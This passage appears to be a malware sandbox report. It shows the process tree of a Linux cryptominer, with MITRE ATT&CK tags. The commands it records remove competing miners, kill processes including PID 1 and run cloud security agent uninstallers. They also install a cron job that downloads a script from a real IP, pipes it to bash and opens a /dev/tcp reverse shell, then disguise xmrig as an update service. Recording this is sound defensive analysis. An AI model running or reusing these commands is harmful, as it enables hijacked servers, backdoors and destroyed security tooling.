                                                                                                                                                                              /bin/bash -c "rm -rf /dev/shm/*"
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:3357
                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                rm -rf "/dev/shm/*"
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:3357
                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                  /bin/sh -c "rm -rf /dev/shm/*"
                                                                                                                                                                                  2⤵
                                                                                                                                                                                  • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                                                  PID:3358
                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                    rm -rf "/dev/shm/*"
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:3359
                                                                                                                                                                                  • /bin/bash
                                                                                                                                                                                    /bin/bash -c "rm -rf /etc/cron.d/zdaemon"
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:3360
                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                      rm -rf /etc/cron.d/zdaemon
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:3360
                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                        /bin/sh -c "rm -rf /etc/cron.d/zdaemon"
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                                                        PID:3361
                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                          rm -rf /etc/cron.d/zdaemon
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:3362
                                                                                                                                                                                        • /bin/bash
                                                                                                                                                                                          /bin/bash -c "rm /etc/zclient && rm /etc/zdaemon"
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:3363
                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                              rm /etc/zclient
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:3364
                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                              /bin/sh -c "rm /etc/zclient && rm /etc/zdaemon"
                                                                                                                                                                                              2⤵
                                                                                                                                                                                              • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                                                              PID:3365
                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                rm /etc/zclient
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:3366
                                                                                                                                                                                              • /bin/bash
                                                                                                                                                                                                /bin/bash -c "systemctl stop bot && systemctl disable bot && systemctl --user stop bot && systemctl --user disable bot"
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:3367
                                                                                                                                                                                                  • /usr/bin/systemctl
                                                                                                                                                                                                    systemctl stop bot
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                    • Disables AppArmor
                                                                                                                                                                                                    PID:3368
                                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                                  /bin/sh -c "systemctl stop bot && systemctl disable bot && systemctl --user stop bot && systemctl --user disable bot"
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                  • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                                                                  PID:3369
                                                                                                                                                                                                  • /usr/bin/systemctl
                                                                                                                                                                                                    systemctl stop bot
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                    • Disables AppArmor
                                                                                                                                                                                                    PID:3370
                                                                                                                                                                                                • /bin/bash
                                                                                                                                                                                                  /bin/bash -c "crontab -r"
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:3371
                                                                                                                                                                                                  • /usr/bin/crontab
                                                                                                                                                                                                    crontab -r
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:3371
                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                      /bin/sh -c "crontab -r"
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                      • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                                                                      PID:3372
                                                                                                                                                                                                      • /usr/bin/crontab
                                                                                                                                                                                                        crontab -r
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:3373
                                                                                                                                                                                                      • /bin/bash
                                                                                                                                                                                                        /bin/bash -c "rm -rf /etc/ld.so.preload /usr/local/lib/[cmake.so] /usr/local/lib/pnscan.so /usr/local/lib/masscan.so /usr/local/lib/httpd.so /usr/local/lib/xmrigMiner.so /usr/local/lib/xmrigDaemon.so"
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:3374
                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                          rm -rf /etc/ld.so.preload "/usr/local/lib/[cmake.so]" /usr/local/lib/pnscan.so /usr/local/lib/masscan.so /usr/local/lib/httpd.so /usr/local/lib/xmrigMiner.so /usr/local/lib/xmrigDaemon.so
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:3374
                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                            /bin/sh -c "rm -rf /etc/ld.so.preload /usr/local/lib/[cmake.so] /usr/local/lib/pnscan.so /usr/local/lib/masscan.so /usr/local/lib/httpd.so /usr/local/lib/xmrigMiner.so /usr/local/lib/xmrigDaemon.so"
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                                                                            PID:3375
                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                              rm -rf /etc/ld.so.preload "/usr/local/lib/[cmake.so]" /usr/local/lib/pnscan.so /usr/local/lib/masscan.so /usr/local/lib/httpd.so /usr/local/lib/xmrigMiner.so /usr/local/lib/xmrigDaemon.so
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:3376
                                                                                                                                                                                                            • /bin/bash
                                                                                                                                                                                                              /bin/bash -c "killall localupdatemanager && pkill -9 localupdatemanager && kill -9 localupdatemanager"
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:3377
                                                                                                                                                                                                                • /usr/bin/killall
                                                                                                                                                                                                                  killall localupdatemanager
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                  • Reads runtime system information
                                                                                                                                                                                                                  PID:3378
                                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                                /bin/sh -c "killall localupdatemanager && pkill -9 localupdatemanager && kill -9 localupdatemanager"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                                                                                PID:3379
                                                                                                                                                                                                                • /usr/bin/killall
                                                                                                                                                                                                                  killall localupdatemanager
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                  • Reads runtime system information
                                                                                                                                                                                                                  PID:3380
                                                                                                                                                                                                              • /bin/bash
                                                                                                                                                                                                                /bin/bash -c "systemctl start sshd"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:3381
                                                                                                                                                                                                                • /usr/bin/systemctl
                                                                                                                                                                                                                  systemctl start sshd
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                  • Disables AppArmor
                                                                                                                                                                                                                  PID:3381
                                                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                                                  /bin/sh -c "systemctl start sshd"
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                  • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                                                                                  PID:3382
                                                                                                                                                                                                                  • /usr/bin/systemctl
                                                                                                                                                                                                                    systemctl start sshd
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                    • Disables AppArmor
                                                                                                                                                                                                                    PID:3383
                                                                                                                                                                                                                • /bin/bash
                                                                                                                                                                                                                  /bin/bash -c "service start sshd"
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:3384
                                                                                                                                                                                                                  • /usr/sbin/service
                                                                                                                                                                                                                    service start sshd
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:3384
                                                                                                                                                                                                                      • /usr/bin/basename
                                                                                                                                                                                                                        basename /usr/sbin/service
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:3385
                                                                                                                                                                                                                        • /usr/bin/basename
                                                                                                                                                                                                                          basename /usr/sbin/service
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:3386
                                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                                          /bin/sh -c "service start sshd"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                          • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                                                                                          PID:3387
                                                                                                                                                                                                                          • /usr/sbin/service
                                                                                                                                                                                                                            service start sshd
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:3388
                                                                                                                                                                                                                              • /usr/bin/basename
                                                                                                                                                                                                                                basename /usr/sbin/service
                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                  PID:3389
                                                                                                                                                                                                                                • /usr/bin/basename
                                                                                                                                                                                                                                  basename /usr/sbin/service
                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                    PID:3390
                                                                                                                                                                                                                              • /bin/bash
                                                                                                                                                                                                                                /bin/bash -c "(crontab -l ; echo \"0 */12 * * * if command -v curl >/dev/null 2>&1; then curl -sSL http://107.189.14.109/.XiNp0ranO0ramodnez0vass/glaigrEJIFnmvs.sh | bash; else wget -qO- --no-check-certificate http://107.189.14.109/.XiNp0ranO0ramodnez0vass/glaigrEJIFnmvs.sh | bash; fi 0<&196;exec 196<>/dev/tcp/107.189.14.109/40233; sh <&196 >&196 2>&196) | crontab - "
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:3394
                                                                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                                                                  /bin/sh -c "(crontab -l ; echo \"0 */12 * * * if command -v curl >/dev/null 2>&1; then curl -sSL http://107.189.14.109/.XiNp0ranO0ramodnez0vass/glaigrEJIFnmvs.sh | bash; else wget -qO- --no-check-certificate http://107.189.14.109/.XiNp0ranO0ramodnez0vass/glaigrEJIFnmvs.sh | bash; fi 0<&196;exec 196<>/dev/tcp/107.189.14.109/40233; sh <&196 >&196 2>&196) | crontab - "
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                  • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                                                                                                  PID:3395
                                                                                                                                                                                                                                • /bin/bash
                                                                                                                                                                                                                                  /bin/bash -c "systemctl --user enable localupdateservice.service && systemctl --user start localupdateservice.service"
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:3396
                                                                                                                                                                                                                                    • /usr/bin/systemctl
                                                                                                                                                                                                                                      systemctl --user enable localupdateservice.service
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                      • Disables AppArmor
                                                                                                                                                                                                                                      PID:3397
                                                                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                                                                    /bin/sh -c "systemctl --user enable localupdateservice.service && systemctl --user start localupdateservice.service"
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                    • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                                                                                                    PID:3398
                                                                                                                                                                                                                                    • /usr/bin/systemctl
                                                                                                                                                                                                                                      systemctl --user enable localupdateservice.service
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                      • Disables AppArmor
                                                                                                                                                                                                                                      PID:3399
                                                                                                                                                                                                                                  • /bin/bash
                                                                                                                                                                                                                                    /bin/bash -c "systemctl enable localupdatedaemon && systemctl start localupdatedaemon"
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:3400
                                                                                                                                                                                                                                      • /usr/bin/systemctl
                                                                                                                                                                                                                                        systemctl enable localupdatedaemon
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                        • Disables AppArmor
                                                                                                                                                                                                                                        PID:3401
                                                                                                                                                                                                                                    • /usr/bin/systemctl
                                                                                                                                                                                                                                      systemctl start localupdatedaemon
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                      • Disables AppArmor
                                                                                                                                                                                                                                      PID:3400
                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                      /bin/sh -c "systemctl enable localupdatedaemon && systemctl start localupdatedaemon"
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                      • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                                                                                                      PID:3527
                                                                                                                                                                                                                                      • /usr/bin/systemctl
                                                                                                                                                                                                                                        systemctl enable localupdatedaemon
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                        • Disables AppArmor
                                                                                                                                                                                                                                        PID:3528
                                                                                                                                                                                                                                      • /usr/bin/systemctl
                                                                                                                                                                                                                                        systemctl start localupdatedaemon
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                        • Disables AppArmor
                                                                                                                                                                                                                                        PID:3652
                                                                                                                                                                                                                                    • /bin/bash
                                                                                                                                                                                                                                      /bin/bash -c "sysctl -w vm.nr_hugepages=102400"
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                        PID:3655
                                                                                                                                                                                                                                      • /usr/sbin/sysctl
                                                                                                                                                                                                                                        sysctl -w "vm.nr_hugepages=102400"
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                          PID:3655
                                                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                                                          /bin/sh -c "sysctl -w vm.nr_hugepages=102400"
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                          • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                                                                                                          PID:3656
                                                                                                                                                                                                                                          • /usr/sbin/sysctl
                                                                                                                                                                                                                                            sysctl -w "vm.nr_hugepages=102400"
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:3657
                                                                                                                                                                                                                                          • /bin/bash
                                                                                                                                                                                                                                            /bin/bash -c "rm -rf /etc/.localconfig"
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:3658
                                                                                                                                                                                                                                            • /usr/bin/rm
                                                                                                                                                                                                                                              rm -rf /etc/.localconfig
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:3658
                                                                                                                                                                                                                                              • /bin/sh
                                                                                                                                                                                                                                                /bin/sh -c "rm -rf /etc/.localconfig"
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                                                                                                                PID:3659
                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                  rm -rf /etc/.localconfig
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                    PID:3660
                                                                                                                                                                                                                                                • /bin/bash
                                                                                                                                                                                                                                                  /bin/bash -c "cp -r /etc/.localconfig/xmrig-6.19.3 /etc/.localconfig/updatemand"
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                    PID:3661
                                                                                                                                                                                                                                                  • /usr/bin/cp
                                                                                                                                                                                                                                                    cp -r /etc/.localconfig/xmrig-6.19.3 /etc/.localconfig/updatemand
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                      PID:3661
                                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                                      /bin/sh -c "cp -r /etc/.localconfig/xmrig-6.19.3 /etc/.localconfig/updatemand"
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                      • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                                                                                                                      PID:3662
                                                                                                                                                                                                                                                      • /usr/bin/cp
                                                                                                                                                                                                                                                        cp -r /etc/.localconfig/xmrig-6.19.3 /etc/.localconfig/updatemand
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:3663
                                                                                                                                                                                                                                                      • /bin/bash
                                                                                                                                                                                                                                                        /bin/bash -c "cp -r /etc/.localconfig/updatemand/xmrig /etc/.localconfig/updatemand/localupdatemanager"
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                          PID:3664
                                                                                                                                                                                                                                                        • /usr/bin/cp
                                                                                                                                                                                                                                                          cp -r /etc/.localconfig/updatemand/xmrig /etc/.localconfig/updatemand/localupdatemanager
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:3664
                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                            /bin/sh -c "cp -r /etc/.localconfig/updatemand/xmrig /etc/.localconfig/updatemand/localupdatemanager"
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                            • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                                                                                                                            PID:3665
                                                                                                                                                                                                                                                            • /usr/bin/cp
                                                                                                                                                                                                                                                              cp -r /etc/.localconfig/updatemand/xmrig /etc/.localconfig/updatemand/localupdatemanager
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:3666
                                                                                                                                                                                                                                                            • /bin/bash
                                                                                                                                                                                                                                                              /bin/bash -c "rm /etc/.localconfig/updatemand/xmrig"
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                PID:3667
                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                rm /etc/.localconfig/updatemand/xmrig
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                  PID:3667
                                                                                                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                                                                                                  /bin/sh -c "rm /etc/.localconfig/updatemand/xmrig"
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                  • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                                                                                                                                  PID:3668
                                                                                                                                                                                                                                                                  • /usr/bin/rm
                                                                                                                                                                                                                                                                    rm /etc/.localconfig/updatemand/xmrig
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:3669
                                                                                                                                                                                                                                                                  • /bin/bash
                                                                                                                                                                                                                                                                    /bin/bash -c "rm -rf /etc/.localconfig/xmrig-6.19.3"
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                      PID:3670
                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                      rm -rf /etc/.localconfig/xmrig-6.19.3
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                        PID:3670
                                                                                                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                                                                                                        /bin/sh -c "rm -rf /etc/.localconfig/xmrig-6.19.3"
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                        • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                                                                                                                                        PID:3671
                                                                                                                                                                                                                                                                        • /usr/bin/rm
                                                                                                                                                                                                                                                                          rm -rf /etc/.localconfig/xmrig-6.19.3
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:3672
                                                                                                                                                                                                                                                                        • /bin/bash
                                                                                                                                                                                                                                                                          /bin/bash -c "chmod +x /etc/.localconfig/updatemand/localupdatemanager"
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                          • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                          PID:3673
                                                                                                                                                                                                                                                                        • /usr/bin/chmod
                                                                                                                                                                                                                                                                          chmod +x /etc/.localconfig/updatemand/localupdatemanager
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                          • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                          PID:3673
                                                                                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                                                                                          /bin/sh -c "chmod +x /etc/.localconfig/updatemand/localupdatemanager"
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                          • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                          PID:3674
                                                                                                                                                                                                                                                                          • /usr/bin/chmod
                                                                                                                                                                                                                                                                            chmod +x /etc/.localconfig/updatemand/localupdatemanager
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                            • File and Directory Permissions Modification
                                                                                                                                                                                                                                                                            PID:3675
                                                                                                                                                                                                                                                                        • /bin/bash
                                                                                                                                                                                                                                                                          /bin/bash -c "rm /etc/.localconfig/updatemand/config.json"
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                            PID:3676
                                                                                                                                                                                                                                                                          • /usr/bin/rm
                                                                                                                                                                                                                                                                            rm /etc/.localconfig/updatemand/config.json
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                              PID:3676
                                                                                                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                                                                                                              /bin/sh -c "rm /etc/.localconfig/updatemand/config.json"
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                              • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                                                                                                                                              PID:3677
                                                                                                                                                                                                                                                                              • /usr/bin/rm
                                                                                                                                                                                                                                                                                rm /etc/.localconfig/updatemand/config.json
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:3678
                                                                                                                                                                                                                                                                              • /bin/bash
                                                                                                                                                                                                                                                                                /bin/bash -c "rm /etc/.localconfig/updatemand/SHA256SUMS"
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                  PID:3679
                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                  rm /etc/.localconfig/updatemand/SHA256SUMS
                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                    PID:3679
                                                                                                                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                                                                                                                    /bin/sh -c "rm /etc/.localconfig/updatemand/SHA256SUMS"
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                    • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                                                                                                                                                    PID:3680
                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                      rm /etc/.localconfig/updatemand/SHA256SUMS
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                        PID:3681
                                                                                                                                                                                                                                                                                    • /bin/bash
                                                                                                                                                                                                                                                                                      /bin/bash -c "touch /etc/.localconfig/updatemand/config.json"
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                        PID:3682
                                                                                                                                                                                                                                                                                      • /usr/bin/touch
                                                                                                                                                                                                                                                                                        touch /etc/.localconfig/updatemand/config.json
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                          PID:3682
                                                                                                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                                                                                                          /bin/sh -c "touch /etc/.localconfig/updatemand/config.json"
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                          • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                                                                                                                                                          PID:3683
                                                                                                                                                                                                                                                                                          • /usr/bin/touch
                                                                                                                                                                                                                                                                                            touch /etc/.localconfig/updatemand/config.json
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                              PID:3684
                                                                                                                                                                                                                                                                                          • /bin/bash
                                                                                                                                                                                                                                                                                            /bin/bash -c "/bin/nohup /etc/.localconfig/updatemand/localupdatemanager > /dev/null &"
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                              PID:3685
                                                                                                                                                                                                                                                                                              • /bin/nohup
                                                                                                                                                                                                                                                                                                /bin/nohup /etc/.localconfig/updatemand/localupdatemanager
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                  PID:3686
                                                                                                                                                                                                                                                                                              • /bin/bash
                                                                                                                                                                                                                                                                                                /bin/bash -c "kill -9 765"
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                  PID:3702
                                                                                                                                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                                                                                                                                  /bin/sh -c "kill -9 765"
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                  • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                                                                                                                                                                  PID:3703
                                                                                                                                                                                                                                                                                                • /bin/bash
                                                                                                                                                                                                                                                                                                  /bin/bash -c "pkill 765"
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                    PID:3706
                                                                                                                                                                                                                                                                                                  • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                    pkill 765
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                    • Reads CPU attributes
                                                                                                                                                                                                                                                                                                    • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                    • Reads runtime system information
                                                                                                                                                                                                                                                                                                    PID:3706
                                                                                                                                                                                                                                                                                                  • /bin/sh
                                                                                                                                                                                                                                                                                                    /bin/sh -c "pkill 765"
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                    • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                                                                                                                                                                    PID:3707
                                                                                                                                                                                                                                                                                                    • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                      pkill 765
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                      • Reads CPU attributes
                                                                                                                                                                                                                                                                                                      • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                      • Reads runtime system information
                                                                                                                                                                                                                                                                                                      PID:3708
                                                                                                                                                                                                                                                                                                  • /bin/bash
                                                                                                                                                                                                                                                                                                    /bin/bash -c "killall polkitd"
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                      PID:3709
                                                                                                                                                                                                                                                                                                    • /usr/bin/killall
                                                                                                                                                                                                                                                                                                      killall polkitd
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                      • Reads runtime system information
                                                                                                                                                                                                                                                                                                      PID:3709
                                                                                                                                                                                                                                                                                                    • /bin/sh
                                                                                                                                                                                                                                                                                                      /bin/sh -c "killall polkitd"
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                      • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                                                                                                                                                                      PID:3710
                                                                                                                                                                                                                                                                                                      • /usr/bin/killall
                                                                                                                                                                                                                                                                                                        killall polkitd
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                                                                                                                        PID:3711
                                                                                                                                                                                                                                                                                                    • /bin/bash
                                                                                                                                                                                                                                                                                                      /bin/bash -c "kill -9 polkitd"
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                        PID:3712
                                                                                                                                                                                                                                                                                                      • /bin/sh
                                                                                                                                                                                                                                                                                                        /bin/sh -c "kill -9 polkitd"
                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                        • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                                                                                                                                                                        PID:3713
                                                                                                                                                                                                                                                                                                      • /bin/bash
                                                                                                                                                                                                                                                                                                        /bin/bash -c "kill -9 1"
                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                          PID:3714
                                                                                                                                                                                                                                                                                                        • /bin/sh
                                                                                                                                                                                                                                                                                                          /bin/sh -c "kill -9 1"
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                          • Command and Scripting Interpreter: Unix Shell
                                                                                                                                                                                                                                                                                                          PID:3715
                                                                                                                                                                                                                                                                                                        • /bin/bash
                                                                                                                                                                                                                                                                                                          /bin/bash -c "pkill 1"
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                            PID:3716
                                                                                                                                                                                                                                                                                                          • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                            pkill 1
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                            • Reads CPU attributes
                                                                                                                                                                                                                                                                                                            • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                            • Reads runtime system information
                                                                                                                                                                                                                                                                                                            PID:3716
                                                                                                                                                                                                                                                                                                        • /usr/local/qcloud/YunJing/uninst.sh
                                                                                                                                                                                                                                                                                                          /usr/local/qcloud/YunJing/uninst.sh
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                            PID:2525
                                                                                                                                                                                                                                                                                                          • /usr/local/qcloud/monitor/barad/admin/uninstall.sh
                                                                                                                                                                                                                                                                                                            /usr/local/qcloud/monitor/barad/admin/uninstall.sh
                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                              PID:2529
                                                                                                                                                                                                                                                                                                            • /etc/.localconfig/updatemand/localupdatemanager
                                                                                                                                                                                                                                                                                                              /etc/.localconfig/updatemand/localupdatemanager
                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                              • Checks hardware identifiers (DMI)
                                                                                                                                                                                                                                                                                                              • Reads hardware information
                                                                                                                                                                                                                                                                                                              • Checks CPU configuration
                                                                                                                                                                                                                                                                                                              • Reads CPU attributes
                                                                                                                                                                                                                                                                                                              • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                              PID:3686

                                                                                                                                                                                                                                                                                                            Network

                                                                                                                                                                                                                                                                                                            MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                                                            Reconnaissance

                                                                                                                                                                                                                                                                                                            Resource Development

                                                                                                                                                                                                                                                                                                            Initial Access

                                                                                                                                                                                                                                                                                                            Execution

                                                                                                                                                                                                                                                                                                            Command and Scripting Interpreter

